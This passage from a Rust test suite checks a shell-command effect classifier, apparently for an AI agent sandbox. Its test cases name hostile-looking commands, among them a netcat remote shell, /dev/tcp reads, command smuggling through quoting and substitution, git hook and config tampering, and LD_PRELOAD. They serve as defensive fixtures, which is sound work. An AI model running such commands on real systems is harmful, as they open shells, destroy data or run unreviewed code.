4881 "git rebase --exec='curl x' HEAD~1",
4882 "git rebase --exec 'curl x' HEAD~1",
4883 "git commit -c HEAD",
4884 "cargo test --config 'target.x.runner=\"sh\"'",
4885 "cargo build --config=build.rustc-wrapper=x",
4886 "make --eval='$x'",
4887 "make -E x",
4888 "make -E'$x'",
4889 "go build --toolexec=x",
4890 "go build -toolexec x ./...",
4891 "go test -exec=x ./...",
4892 "python3 /dev/stdin",
4893 "python3 -",
4894 "node /dev/fd/3",
4895 "npm exec x",
4896 "pnpm dlx x",
4897 "yarn dlx x",
4898 ] {
4899 assert!(!command_effects(other).local_work_only, "{other}");
4900 }
4901 for local in [
4902 "git rebase main",
4903 "make -j4 all",
4904 "go test ./...",
4905 "node scripts/x.js",
4906 ] {
4907 assert!(command_effects(local).local_work_only, "{local}");
4908 }
4909 assert_eq!(
4910 command_effects("rm -rf -- -odd build && find out -delete").delete_targets,
4911 Some(vec!["-odd".into(), "build".into(), "out".into()])
4912 );
4913 for unknown in [
4914 "rm \"$X\"",
4915 "git clean -fd",
4916 "xargs rm",
4917 "rm `ls`",
4918 "find -delete",
4919 "find -L / -delete",
4920 "rm -rf {a,b}",
4921 "cd x && rm y",
4922 ] {
4923 assert_eq!(command_effects(unknown).delete_targets, None, "{unknown}");
4924 }
4925 assert!(!command_effects("ls > out").observation_only);
4927 }
4928
4929 #[test]
4930 fn command_effects_types_observation_by_structure() {
4931 for observing in [
4932 "ls /tmp",
4933 "git status",
4934 "grep -r x .",
4935 "cat a 2>&1 | head",
4936 "ls > /dev/null",
4937 "ls 2>/dev/null",
4938 "echo 'a > b'",
4939 "git branch --list",
4940 "git branch",
4941 "find . -name '*.rs'",
4942 "date +%Y",
4943 "date -u",
4944 "date -u +%H:%M",
4945 "date --utc",
4946 "date -R",
4947 "date -Iseconds",
4948 "date --iso-8601=seconds",
4949 "tree -a -L 2",
4950 "uniq -c f",
4951 "date",
4952 "/usr/bin/ls",
4953 "rg -n foo src",
4954 "sort -u f",
4955 "cat < /dev/null",
4956 "test ! -e restart-check.txt",
4957 "[ -f Cargo.toml ]",
4958 "test -d src && ls src",
4959 "sleep 18",
4960 "sleep 0.5",
4961 "sleep 2m",
4962 "sleep 5 && cat out.log",
4963 "TZ=Asia/Tokyo date '+%I:%M %p'",
4966 "date -u '+%Y'; TZ=Europe/London date '+London %H'",
4967 "for city in Asia/Tokyo Europe/Paris; do TZ=\"$city\" date '+%Z'; done",
4968 "LC_ALL=C sort -u f",
4969 "find . -maxdepth 1 -type f -name '*.rs' -exec stat -f '%z %N' {} + | sort -nr",
4970 "find . -name '*.rs' -exec wc -l {} \\;",
4971 "df -h /System/Volumes/Data; top -l 1 -n 0 | grep PhysMem; sysctl -n hw.memsize",
4972 "top -b -n 1",
4973 "sysctl -a",
4974 "git branch --show-current && git rev-list --count master..HEAD && git log -1 --format=%s",
4975 "sw_vers -productVersion; hostname; uptime",
4976 "hostname -s",
4977 ] {
4978 assert!(
4979 command_effects(observing).observation_only,
4980 "{observing} should be observation-only"
4981 );
4982 }
4983 for mutating in [
4984 "sleep infinity",
4985 "sleep 5; curl example.invalid",
4986 "sleep $(curl example.invalid)",
4987 "rm -rf /tmp/aidaemon-test/x",
4988 "ls /tmp; rm -rf /tmp/aidaemon-test/x",
4989 "ls && rm x",
4990 "cat a > b",
4991 "echo x >> b",
4992 "ls | xargs rm",
4993 "ls | tee out",
4994 "echo $(curl example.invalid)",
4995 "echo \"$(curl example.invalid)\"",
4996 "echo `id`",
4997 "find . -delete",
4998 "find . -exec rm {} ;",
4999 "sed -i s/a/b/ f",
5000 "sed -ni p f",
5001 "sed --in-place p f",
5002 "git push",
5003 "git branch -D x",
5004 "git clean -fd",
5005 "python3 script.py",
5006 "curl https://example.invalid",
5007 "sh -c 'rm x'",
5008 "cat a >&out",
5009 "echo hi &> out",
5010 "sort -o out in",
5011 "git diff --output=out",
5012 "uniq in out",
5013 "echo 'unterminated",
5014 "",
5015 "ls; env -S 'rm x'",
5016 "ls; env -S'rm x'",
5017 "ls # <<EOF\nrm x\nEOF",
5018 "ls\nrm x",
5019 "cat <<EOF\nhi\nEOF",
5020 "rg --pre rm x .",
5021 "rg --pre=rm x .",
5022 "rg --hostname-bin=rm x",
5023 "rg -z foo",
5024 "GIT_EXTERNAL_DIFF='rm -rf x' git diff",
5025 "env GIT_EXTERNAL_DIFF=rm git diff",
5026 "FOO=1 ls",
5027 "PATH=/tmp ls",
5028 "TZ=UTC PATH=/tmp date",
5029 "LD_PRELOAD=x date",
5030 "LC_ALL=C GIT_EXTERNAL_DIFF=x git diff",
5031 "find . -exec rm {} +",
5032 "find . -exec stat {} \\; -delete",
5033 "find . -exec stat {}",
5034 "find . -ok stat {} \\;",
5035 "find . -exec sh -c 'rm x' \\;",
5036 "hostname newname",
5037 "hostname -F f",
5038 "sysctl -w kern.x=1",
5039 "sysctl kern.x=1",
5040 "sysctl -p",
5041 "sysctl --system",
5042 "top",
5043 "top -l 0",
5044 "git branch --show-current -D x",
5045 "env ls",
5046 "git --config-env=core.fsmonitor=F status",
5047 "git -c core.pager=x status",
5048 "git diff --ext-diff",
5049 "sort --compress-program=rm a",
5050 "cat </dev/tcp/example.invalid/80",
5051 "cat < f",
5052 "date -s 2020-01-01",
5053 "date -u -s 2020-01-01",
5054 "date -u 010112002020",
5055 "date 010112002020",
5056 "date +%Y 010112002020",
5057 "date +%Y +%m",
5058 "date -us 2020-01-01",
5059 "hostname evil",
5060 "file -C -m m",
5061 "sed -n p f",
5062 "sed 's/a/b/w out' f",
5063 "sed '1e rm x' f",
5064 "(rm x)",
5065 "{ rm x; }",
5066 "sudo ls",
5067 "nice ls",
5068 "timeout 5 ls",
5069 "/tmp/evil/ls",
5070 "./ls",
5071 "echo a #b",
5072 "echo $'\\'' > out \\'",
5073 "echo $'a\\'' ; rm -rf x ; echo \\'",
5074 "echo $'a\\'' ; curl example.invalid ; echo \\'",
5075 "uniq - out",
5076 "uniq -c - out",
5077 "tree -ao out",
5078 "tree -R",
5079 "tree --weird",
5080 "git -C d status",
5081 "git --git-dir=d status",
5082 "git --git-dir d status",
5083 "git --work-tree=d status",
5084 ] {
5085 assert!(
5086 !command_effects(mutating).observation_only,
5087 "{mutating} should not be observation-only"
5088 );
5089 }
5090 }
5091
5092 #[test]
5093 fn remote_writes_are_read_from_option_structure() {
5094 for writing in [
5095 "curl --noproxy '*' --silent --request POST -H 'Content-Type: application/json' --data '{}' http://localhost:1/ping",
5096 "curl -X POST http://localhost:1/x",
5097 "curl -XDELETE http://localhost:1/x",
5098 "curl -sd a=1 https://example.invalid",
5099 "curl --json '{}' https://example.invalid",
5100 "curl -F f=@a https://example.invalid",
5101 "curl --upload-file a https://example.invalid",
5102 "wget --post-data=a=1 https://example.invalid",
5103 "wget --method PUT https://example.invalid",
5104 "git push origin main",
5105 "git -C repo push",
5106 "cd x && curl -X PATCH https://example.invalid",
5107 ] {
5108 assert!(sends_remote_write(writing), "{writing} sends a write");
5109 }
5110 for reading in [
5111 "curl https://example.invalid",
5112 "curl -sSL -o out https://example.invalid",
5113 "curl -X GET https://example.invalid",
5114 "curl --request=HEAD https://example.invalid",
5115 "wget https://example.invalid",
5116 "git pull",
5117 "git log --grep push",
5118 "ls",
5119 ] {
5120 assert!(!sends_remote_write(reading), "{reading} only reads");
5121 }
5122 }
5123
5124 #[test]
5125 fn fetches_network_by_executable_table() {
5126 for fetching in [
5127 "curl https://example.invalid",
5128 "ls && wget x",
5129 "git clone u",
5130 "git -C d pull",
5131 "npm install x",
5132 "cargo add serde",
5133 "sh -c 'ssh host'",
5134 "gh pr list",
5135 "sudo curl x",
5136 "nice curl x",
5137 "timeout 5 curl x",
5138 "xargs curl",
5139 "find . -exec curl {} ;",
5140 "(curl x)",
5141 "{ curl x; }",
5142 "echo \"$(curl x)\"",
5143 "cat </dev/tcp/example.invalid/80",
5144 "pip3 -q install x",
5145 "npm --prefix d install x",
5146 "cargo +nightly install x",
5147 "yarn",
5148 "npm ci",
5149 "npx foo",
5150 "pnpm dlx foo",
5151 "bunx foo",
5152 "uvx foo",
5153 "uv pip install x",
5154 "pip download x",
5155 "brew install x",
5156 "go get x",
5157 "docker pull x",
5158 "gem install x",
5159 "apt-get install x",
5160 "svn up",
5161 "hg pull",
5162 "socat a b",
5163 "openssl s_client -connect h:1",
5164 "ping h",
5165 "dig h",
5166 "rclone ls r:",
5167 "aws s3 ls",
5168 "kubectl get pods",
5169 "git remote update",
5170 "git archive --remote=u HEAD",
5171 "git push",
5172 "npm publish",
5173 "cargo publish",
5174 "FOO=1 curl x",
5175 ] {
5176 assert!(fetches_network(fetching), "{fetching}");
5177 }
5178 for local in [
5179 "git status",
5180 "npm test",
5181 "cargo build",
5182 "echo curl",
5183 "ls",
5184 "yarn test",
5185 ] {
5186 assert!(!fetches_network(local), "{local}");
5187 }
5188 }
5189
5190 #[test]
5191 fn ansi_c_quoting_over_reports_effects() {
5192 for hidden in [
5193 "echo $'a\\'' ; rm -rf x ; echo \\'",
5194 "echo $'a\\'' ; curl example.invalid ; echo \\'",
5195 ] {
5196 assert!(command_effects(hidden).deletes, "{hidden}");
5197 assert!(fetches_network(hidden), "{hidden}");
5198 }
5199 }
5200
5201 #[test]
5202 fn git_config_paths_are_structural() {
5203 for path in [
5204 "/repo/.git/config",
5205 ".git/hooks/pre-commit",
5206 "a/.git",
5207 "/repo/sub/.gitattributes",
5208 ".gitmodules",
5209 "C:\\repo\\.git\\config",
5210 ] {
5211 assert!(is_git_config_path(path), "{path}");
5212 }
5213 for path in [
5214 "/repo/.github/x.yml",
5215 "/repo/src/git.rs",
5216 "a/.gitignore",
5217 "/repo/gitattributes",
5218 ] {
5219 assert!(!is_git_config_path(path), "{path}");
5220 }
5221 }
5222
5223 #[test]
5224 fn git_config_path_detection_is_case_insensitive_and_global() {
5225 for path in [
5226 ".GIT/config",
5227 "repo/.Git/config",
5228 "repo/.GITATTRIBUTES",
5229 "repo/.GITMODULES",
5230 "repo/.git./config",
5231 "repo/.git /config",
5232 "./repo/x/../.git/config",
5233 "~/.gitconfig",
5234 "$HOME/.gitconfig",
5235 "${HOME}/.gitconfig",
5236 "~/.config/git/attributes",
5237 "~/.config/git/config",
5238 "~/.config/../.config/git/ignore",
5239 "/etc/gitconfig",
5240 "/etc/./gitconfig",
5241 "/srv/user/.GITCONFIG",
5242 ] {
5243 assert!(is_git_config_path(path), "{path}");
5244 }
5245 if let Some(home) = dirs::home_dir() {
5246 let absolute = home.join(".config").join("git").join("attributes");
5247 assert!(is_git_config_path(&absolute.to_string_lossy()));
5248 }
5249 for path in [
5251 "repo/src/git.rs",
5252 "repo/.github/workflows/x.yml",
5253 "repo/.gitignore",
5254 "repo/.GITHUB/x.yml",
5255 "/etc/gitconfig.d/x",
5256 "repo/config/git.toml",
5257 ] {
5258 assert!(!is_git_config_path(path), "{path}");
5259 }
5260 }
5261
5262 #[test]
5263 fn command_words_naming_git_config_are_detected() {
5264 for command in [
5265 "cp x ~/.gitconfig",
5266 "echo x > ~/.gitconfig",
5267 "echo x >>.git/config",
5268 "git config --file=$HOME/.gitconfig a.b c",
5269 "sh -c 'cp x .GIT/hooks/pre-commit'",
5270 "echo \"$(cp x /etc/gitconfig)\"",
5271 "cp x \"repo/.gitattributes\"",
5272 ] {
5273 assert!(command_names_git_config_path(command), "{command}");
5274 }
5275 for command in ["cp x y", "cat .gitignore", "ls .github", "git status"] {
5276 assert!(!command_names_git_config_path(command), "{command}");
5277 }
5278 }
5279
5280 #[test]
5281 fn command_effects_flags_deletion_structurally() {
5282 for deleting in [
5283 "rm x",
5284 "find . -delete",
5285 "git clean -fd",
5286 "ls; rmdir d",
5287 "sh -c 'unlink x'",
5288 "ls | xargs rm",
5289 "find . -exec shred {} ;",
5290 "sudo rm x",
5291 "nice rm x",
5292 "timeout 5 rm x",
5293 "(rm x)",
5294 "{ rm x; }",
5295 "exec rm x",
5296 "echo \"$(rm x)\"",
5297 "FOO=1 rm x",
5298 ] {
5299 assert!(command_effects(deleting).deletes, "{deleting}");
5300 }
5301 for benign in [
5302 "ls",
5303 "git status",
5304 "echo rm",
5305 "grep rm file",
5306 "find . -name x",
5307 ] {
5308 assert!(!command_effects(benign).deletes, "{benign}");
5309 }
5310 }
5311
5312 fn egress(target: &str) -> EffectKey {
5313 EffectKey {
5314 class: EffectClass::Egress,
5315 target: target.to_string(),
5316 }
5317 }
5318
5319 fn canonical(path: &str) -> String {
5322 let path = std::path::Path::new(path);
5323 for ancestor in path.ancestors() {
5324 if let Ok(real) = dunce::canonicalize(ancestor) {
5325 let rest = path.strip_prefix(ancestor).unwrap();
5326 return real
5327 .join(rest)
5328 .to_string_lossy()
5329 .trim_end_matches('/')
5330 .to_string();
5331 }
5332 }
5333 unreachable!()
5334 }
5335
5336 fn synthetic_dir() -> String {
5337 format!("/tmp/aidaemon-test/{}", uuid::Uuid::new_v4())
5338 }
5339
5340 #[test]
5341 fn ipv6_bracketed_and_bare_hosts_match() {
5342 assert_eq!(
5343 egress_effect("http", "[::1]", Some(8765)),
5344 egress_effect("http", "::1", Some(8765))
5345 );
5346 assert_eq!(
5347 egress_effect("http", "[::1]", Some(8765)),
5348 Some(egress("::1:8765"))
5349 );
5350 assert_eq!(
5352 url_effect("http://[::1]:8765/announce"),
5353 Some(egress("::1:8765"))
5354 );
5355 assert_eq!(
5356 shell_call_effects("nc ::1 8765", None).keys,
5357 vec![egress("::1:8765")]
5358 );
5359 }
5360
5361 #[test]
5362 fn existing_path_declared_canonically() {
5363 let dir = tempfile::tempdir().unwrap();
5364 let real = dir.path().join("real");
5365 std::fs::create_dir(&real).unwrap();
5366 let link = dir.path().join("link");
5367 #[cfg(unix)]
5368 std::os::unix::fs::symlink(&real, &link).unwrap();
5369 #[cfg(not(unix))]
5370 return;
5371 let real_canonical = dunce::canonicalize(&real).unwrap();
5372 let existing = path_effect(EffectClass::Write, link.to_str().unwrap(), None).unwrap();
5374 assert_eq!(existing.target, real_canonical.to_string_lossy());
5375 let new_file = path_effect(
5377 EffectClass::Write,
5378 &format!("{}/f.txt", link.to_str().unwrap()),
5379 None,
5380 )
5381 .unwrap();
5382 assert_eq!(
5383 new_file.target,
5384 real_canonical.join("f.txt").to_string_lossy()
5385 );
5386 let relative =
5389 path_effect(EffectClass::Write, "f.txt", Some(link.to_str().unwrap())).unwrap();
5390 assert_eq!(relative, new_file);
5391 assert_eq!(path_effect(EffectClass::Write, "f.txt", None), None);
5392 let removed = path_effect(EffectClass::Delete, link.to_str().unwrap(), None).unwrap();
5394 assert_eq!(
5395 removed.target,
5396 dunce::canonicalize(dir.path())
5397 .unwrap()
5398 .join("link")
5399 .to_string_lossy()
5400 );
5401 }
5402
5403 #[test]
5404 fn network_programs_declare_their_hosts() {
5405 let cases: &[(&str, &[&str])] = &[
5406 (
5407 "ssh deploy@h.example.invalid uptime",
5408 &["h.example.invalid:22"],
5409 ),
5410 ("ssh -p 2222 h.example.invalid", &["h.example.invalid:2222"]),
5411 (
5412 "ssh ssh://h.example.invalid:2200",
5413 &["h.example.invalid:2200"],
5414 ),
5415 ("nc -z h.example.invalid 25", &["h.example.invalid:25"]),
5416 (
5417 "http POST https://api.example.invalid/v1 name=x",
5418 &["api.example.invalid:443"],
5419 ),
5420 ];
5421 for (command, hosts) in cases {
5422 let effects = shell_call_effects(command, None);
5423 assert!(!effects.complete, "{command}");
5424 let egress: Vec<_> = effects
5425 .keys
5426 .iter()
5427 .filter(|key| key.class == EffectClass::Egress)
5428 .map(|key| key.target.as_str())
5429 .collect();
5430 assert_eq!(&egress, hosts, "{command}");
5431 }
5432 }
5433
5434 #[test]
5435 fn local_file_effects_are_declared_with_their_class() {
5436 let dir = synthetic_dir();
5437 let key = |class: EffectClass, path: &str| EffectKey {
5438 class,
5439 target: canonical(path),
5440 };
5441 let cases: Vec<(String, Vec<EffectKey>)> = vec![
5442 (
5443 format!("rm -rf {dir}/build"),
5444 vec![key(EffectClass::Delete, &format!("{dir}/build"))],
5445 ),
5446 (
5447 format!("cp a.txt {dir}/b.txt"),
5448 vec![key(EffectClass::Write, &format!("{dir}/b.txt"))],
5449 ),
5450 (
5451 format!("mv {dir}/a {dir}/b"),
5452 vec![
5453 key(EffectClass::Delete, &format!("{dir}/a")),
5454 key(EffectClass::Write, &format!("{dir}/b")),
5455 ],
5456 ),
5457 (
5458 format!("printf x | tee -a {dir}/log"),
5459 vec![key(EffectClass::Write, &format!("{dir}/log"))],
5460 ),
5461 (
5462 format!("curl -o {dir}/page.html https://a.example.invalid/"),
5463 vec![
5464 key(EffectClass::Write, &format!("{dir}/page.html")),
5465 egress("a.example.invalid:443"),
5466 ],
5467 ),
5468 (
5469 format!("scp h.example.invalid:/srv/x {dir}/x"),
5470 vec![
5471 egress("h.example.invalid:22"),
5472 key(EffectClass::Write, &format!("{dir}/x")),
5473 ],
5474 ),
5475 ];
5476 for (command, expected) in cases {
5477 let effects = shell_call_effects(&command, None);
5478 assert!(!effects.complete, "{command}");
5479 let mut keys = effects.keys.clone();
5480 let mut expected = expected.clone();
5481 keys.sort_by(|a, b| a.target.cmp(&b.target));
5482 expected.sort_by(|a, b| a.target.cmp(&b.target));
5483 assert_eq!(keys, expected, "{command}");
5484 }
5485 }
5486
5487 #[test]
5488 fn undeterminable_segments_make_effects_incomplete() {
5489 for command in [
5490 "bash run.sh",
5491 "python3 tool.py",
5492 "rm build",
5493 "echo x > out.txt",
5494 "cd /tmp/aidaemon-test && rm -rf x",
5495 "curl -O https://a.example.invalid/f",
5496 "curl --frobnicate https://a.example.invalid/",
5497 "wget https://a.example.invalid/f",
5498 "cargo build",
5499 "git commit -m x",
5500 "rm $TARGET",
5501 "echo $(curl https://a.example.invalid/)",
5502 "ssh -o ProxyCommand=x h.example.invalid",
5503 ] {
5504 assert!(!shell_call_effects(command, None).complete, "{command}");
5505 }
5506 let partial = shell_call_effects("curl https://a.example.invalid/ && bash run.sh", None);
5508 assert!(!partial.complete);
5509 assert_eq!(partial.keys, vec![egress("a.example.invalid:443")]);
5510 let dir = synthetic_dir();
5512 let resolved = shell_call_effects("rm build", Some(&dir));
5513 assert!(!resolved.complete);
5514 assert_eq!(resolved.keys[0].target, canonical(&format!("{dir}/build")));
5515 for observation in ["ls -la", "echo hi", "cat a | grep b"] {
5518 let effects = shell_call_effects(observation, None);
5519 assert!(
5520 effects.keys.is_empty() && !effects.complete,
5521 "{observation}"
5522 );
5523 assert!(effects.understood, "{observation}");
5524 }
5525 for command in ["bash run.sh", "echo x > out.txt", "rm $TARGET"] {
5526 assert!(!shell_call_effects(command, None).understood, "{command}");
5527 }
5528 }
5529
5530 #[test]
5535 fn a_literal_cd_moves_where_later_paths_resolve() {
5536 let dir = synthetic_dir();
5537 let first = shell_call_effects(
5538 &format!(
5539 "cd {dir}\ncp -R tmp-drupal/. ./\necho \"copy exit: $?\"\nrm -rf tmp-drupal\nls -a"
5540 ),
5541 None,
5542 );
5543 assert!(!first.complete);
5544 assert!(first.keys.contains(&write(&dir)), "{:?}", first.keys);
5545 assert!(
5546 first.keys.contains(&delete(&format!("{dir}/tmp-drupal"))),
5547 "{:?}",
5548 first.keys
5549 );
5550 let reworded = shell_call_effects(
5552 &format!("cd {dir} && cp -R tmp-drupal/. ./ ; ls -a"),
5553 Some("/tmp/aidaemon-test/elsewhere"),
5554 );
5555 assert!(
5556 reworded
5557 .keys
5558 .iter()
5559 .any(|key| first.keys.iter().any(|declined| declined.overlaps(key)))
5560 );
5561 let nested = shell_call_effects("cd sub || exit 1\nrm -f x", Some(&dir));
5563 assert_eq!(nested.keys, vec![delete(&format!("{dir}/sub/x"))]);
5564 for command in [
5567 format!("cd {dir} | true\nrm -f x"),
5568 format!("cd {dir} & rm -f x"),
5569 format!("(cd {dir}) ; rm -f x"),
5570 "cd $HOME && rm -f x".to_string(),
5571 "cd - && rm -f x".to_string(),
5572 format!("pushd {dir} && rm -f x"),
5573 ] {
5574 let effects = shell_call_effects(&command, None);
5575 assert!(effects.keys.is_empty(), "{command}: {:?}", effects.keys);
5576 }
5577 }
5578
5579 enum Expect {
5581 Incomplete,
5583 Exact(Vec<EffectKey>),
5585 Within(Vec<EffectKey>),
5588 }
5589
5590 fn write(path: &str) -> EffectKey {
5591 EffectKey {
5592 class: EffectClass::Write,
5593 target: canonical(path),
5594 }
5595 }
5596
5597 fn delete(path: &str) -> EffectKey {
5598 EffectKey {
5599 class: EffectClass::Delete,
5600 target: canonical(path),
5601 }
5602 }
5603
5604 #[test]
5609 fn under_declaration_corpus() {
5610 use Expect::{Exact, Incomplete, Within};
5611 let w = "/tmp/aidaemon-test/w";
5612 let cases: Vec<(&str, Expect)> = vec![
5613 ("cd /etc && echo x > f", Incomplete),
5615 ("pushd /etc && rm -f f", Incomplete),
5616 ("popd; echo x > f", Incomplete),
5617 ("cd /tmp && curl https://a.example.invalid/", Incomplete),
5618 ("git clone -u ./x https://a.example.invalid/r", Incomplete),
5620 ("git pull -s ours https://a.example.invalid/r", Incomplete),
5621 ("curl 'https://{a,b}.example.invalid/'", Incomplete),
5623 ("curl https://{a,b}.example.invalid/", Incomplete),
5624 ("ssh {a,b}.example.invalid", Incomplete),
5625 ("scp f {a,b}.example.invalid:", Incomplete),
5626 ("nc {a,b}.example.invalid 80", Incomplete),
5627 ("curl 'https://a*.example.invalid/'", Incomplete),
5628 ("curl 'https://a,b.example.invalid/'", Incomplete),
5629 ("curl 'https://[a-b].example.invalid/'", Incomplete),
5630 ("ssh 'a?.example.invalid'", Incomplete),
5631 (
5633 "curl 'https://a.example.invalid\\@b.example.invalid/'",
5634 Incomplete,
5635 ),
5636 (
5637 "curl 'https://u@a.example.invalid@b.example.invalid/'",
5638 Incomplete,
5639 ),
5640 (
5641 "wget -O- 'http://a.example.invalid\\@b.example.invalid/'",
5642 Incomplete,
5643 ),
5644 ("curl 'https://a.example.invalid /'", Incomplete),
5645 ("curl 'https://รค.example.invalid/'", Incomplete),
5646 (
5647 "git ls-remote 'https://a.example.invalid\\@b.example.invalid/r'",
5648 Incomplete,
5649 ),
5650 ("rsync --port=8730 f h.example.invalid:d", Incomplete),
5652 (
5653 "rsync --port=8730 f rsync://h.example.invalid/m/",
5654 Incomplete,
5655 ),
5656 (
5658 "curl -x http://p.example.invalid https://a.example.invalid/",
5659 Incomplete,
5660 ),
5661 (
5662 "curl -x socks5://p.example.invalid https://a.example.invalid/",
5663 Incomplete,
5664 ),
5665 (
5666 "curl --proxy http://p.example.invalid:3128 https://a.example.invalid/",
5667 Incomplete,
5668 ),
5669 (
5670 "curl --socks5 p.example.invalid:1080 https://a.example.invalid/",
5671 Incomplete,
5672 ),
5673 (
5674 "ALL_PROXY=socks5://p.example.invalid curl https://a.example.invalid/",
5675 Incomplete,
5676 ),
5677 ("curl ftp.example.invalid/f", Incomplete),
5679 ("curl a.example.invalid/x", Incomplete),
5680 ("curl @file", Incomplete),
5681 ("http :8080/health", Incomplete),
5682 ("wget -O- a.example.invalid", Incomplete),
5683 ("git pull https://a.example.invalid/r", Incomplete),
5685 ("git fetch https://a.example.invalid/r", Incomplete),
5686 ("git push https://a.example.invalid/r main", Incomplete),
5687 (
5688 "git clone https://a.example.invalid/r /tmp/aidaemon-test/c",
5689 Incomplete,
5690 ),
5691 ("git clone https://h.example.invalid/a.bundle", Incomplete),
5692 ("git ls-remote https://a.example.invalid/r", Incomplete),
5693 (
5694 "git ls-remote --heads https://a.example.invalid/r",
5695 Incomplete,
5696 ),
5697 (
5699 "rsync -b --backup-dir=/tmp/aidaemon-test/other src/ /tmp/aidaemon-test/dst/",
5700 Incomplete,
5701 ),
5702 (
5703 "rsync -T /tmp/aidaemon-test/t src/ /tmp/aidaemon-test/dst/",
5704 Incomplete,
5705 ),
5706 (
5707 "rsync --temp-dir=/tmp/aidaemon-test/t src/ /tmp/aidaemon-test/dst/",
5708 Incomplete,
5709 ),
5710 (
5711 "rsync --partial-dir=.p src/ /tmp/aidaemon-test/dst/",
5712 Incomplete,
5713 ),
5714 (
5715 "rsync --log-file=/tmp/aidaemon-test/l src/ /tmp/aidaemon-test/dst/",
5716 Incomplete,
5717 ),
5718 ("rsync -e ssh a h.example.invalid:d", Incomplete),
5719 (
5720 "rsync -av /tmp/aidaemon-test/src/ /tmp/aidaemon-test/dst/",
5721 Exact(vec![write("/tmp/aidaemon-test/dst")]),
5722 ),
5723 (
5725 "ssh h.example.invalid somecmd -p 2222",
5726 Exact(vec![egress("h.example.invalid:22")]),
5727 ),
5728 ("cp -b a /tmp/aidaemon-test/f", Incomplete),
5730 ("cp --backup a /tmp/aidaemon-test/f", Incomplete),
5731 (
5732 "mv -b /tmp/aidaemon-test/a /tmp/aidaemon-test/f",
5733 Incomplete,
5734 ),
5735 (
5737 "curl -o /tmp/aidaemon-test/x https://a.example.invalid/",
5738 Exact(vec![
5739 write("/tmp/aidaemon-test/x"),
5740 egress("a.example.invalid:443"),
5741 ]),
5742 ),
5743 ("curl -K cfg https://a.example.invalid/", Incomplete),
5744 ("curl --config cfg https://a.example.invalid/", Incomplete),
5745 ("curl -O https://a.example.invalid/f", Incomplete),
5746 (
5747 "curl --resolve a.example.invalid:443:127.0.0.1 https://a.example.invalid/",
5748 Incomplete,
5749 ),
5750 (
5751 "curl --connect-to ::127.0.0.1: https://a.example.invalid/",
5752 Incomplete,
5753 ),
5754 (
5755 "curl -d @file https://a.example.invalid/",
5756 Exact(vec![egress("a.example.invalid:443")]),
5757 ),
5758 (
5759 "curl -X POST https://a.example.invalid/x -d '{}'",
5760 Exact(vec![egress("a.example.invalid:443")]),
5761 ),
5762 ("curl $URL", Incomplete),
5763 ("curl \"$(cat u)\"", Incomplete),
5764 (
5765 "curl https://a.example.invalid/ https://b.example.invalid/",
5766 Exact(vec![
5767 egress("a.example.invalid:443"),
5768 egress("b.example.invalid:443"),
5769 ]),
5770 ),
5771 (
5772 "curl -w '%output{/tmp/x}' https://a.example.invalid/",
5773 Incomplete,
5774 ),
5775 ("curl http://[::1]:8765/", Incomplete),
5776 ("wget -i list", Incomplete),
5778 ("wget -e robots=off https://a.example.invalid/", Incomplete),
5779 ("wget -r https://a.example.invalid/", Incomplete),
5780 ("wget -P /tmp https://a.example.invalid/", Incomplete),
5781 ("wget https://a.example.invalid/f", Incomplete),
5782 (
5783 "wget -qO- http://b.example.invalid:8080/y",
5784 Exact(vec![egress("b.example.invalid:8080")]),
5785 ),
5786 ("git push origin main", Incomplete),
5788 (
5789 "git -C /tmp/aidaemon-test/r push https://a.example.invalid/r",
5790 Incomplete,
5791 ),
5792 ("git clone 'ext::sh -c x'", Incomplete),
5793 (
5794 "git clone --upload-pack=x https://a.example.invalid/r",
5795 Incomplete,
5796 ),
5797 (
5798 "git push --receive-pack=x https://a.example.invalid/r",
5799 Incomplete,
5800 ),
5801 ("git commit -m x", Incomplete),
5802 ("git status", Incomplete),
5805 ("git diff", Incomplete),
5806 ("git log --oneline", Incomplete),
5807 ("git show HEAD", Incomplete),
5808 ("git rev-parse HEAD", Incomplete),
5809 ("git branch --list", Incomplete),
5810 ("ls -la && git status", Incomplete),
5811 ("ssh -o ProxyCommand=x h.example.invalid", Incomplete),
5813 ("ssh -F cfg h.example.invalid", Incomplete),
5814 ("ssh -J j.example.invalid h.example.invalid", Incomplete),
5815 ("ssh -W x:1 h.example.invalid", Incomplete),
5816 (
5817 "scp /tmp/aidaemon-test/a b.example.invalid:",
5818 Exact(vec![egress("b.example.invalid:22")]),
5819 ),
5820 ("nc -l 8080", Incomplete),
5821 ("nc -e /bin/sh h.example.invalid 80", Incomplete),
5822 (
5823 "nc -x p.example.invalid:1080 h.example.invalid 80",
5824 Incomplete,
5825 ),
5826 ("python3 -m http.server", Incomplete),
5827 (
5829 "cp -r /tmp/aidaemon-test/src /tmp/aidaemon-test/dst",
5830 Exact(vec![write("/tmp/aidaemon-test/dst")]),
5831 ),
5832 (
5833 "mv /tmp/aidaemon-test/a /tmp/aidaemon-test/b /tmp/aidaemon-test/c/",
5834 Exact(vec![
5835 write("/tmp/aidaemon-test/c"),
5836 delete("/tmp/aidaemon-test/a"),
5837 delete("/tmp/aidaemon-test/b"),
5838 ]),
5839 ),
5840 (
5841 "tee -a /tmp/aidaemon-test/f",
5842 Exact(vec![write("/tmp/aidaemon-test/f")]),
5843 ),
5844 ("echo x >&2", Exact(vec![])),
5846 (
5847 "echo x >| /tmp/aidaemon-test/f",
5848 Exact(vec![write("/tmp/aidaemon-test/f")]),
5849 ),
5850 (
5851 "echo x &> /tmp/aidaemon-test/f",
5852 Exact(vec![write("/tmp/aidaemon-test/f")]),
5853 ),
5854 (
5855 "echo x 2> /tmp/aidaemon-test/f",
5856 Exact(vec![write("/tmp/aidaemon-test/f")]),
5857 ),
5858 (
5859 "echo x >& /tmp/aidaemon-test/f",
5860 Exact(vec![write("/tmp/aidaemon-test/f")]),
5861 ),
5862 ("echo x > 'out file'", Incomplete),
5863 ("exec 3> /tmp/aidaemon-test/f", Incomplete),
5864 ("cat <> /tmp/aidaemon-test/f", Incomplete),
5865 ("cat <<EOF\nx\nEOF", Incomplete),
5866 ("echo $'x'", Incomplete),
5867 ("cat < /dev/tcp/h.example.invalid/80", Incomplete),
5868 ("xargs rm", Incomplete),
5870 ("find . -exec rm {} \\;", Incomplete),
5871 ("sh -c 'rm /tmp/aidaemon-test/x'", Incomplete),
5872 ("env X=1 rm /tmp/aidaemon-test/x", Incomplete),
5873 ("command rm /tmp/aidaemon-test/x", Incomplete),
5874 ("nohup rm /tmp/aidaemon-test/x", Incomplete),
5875 ("timeout 5 rm /tmp/aidaemon-test/x", Incomplete),
5876 ("sudo rm /tmp/aidaemon-test/x", Incomplete),
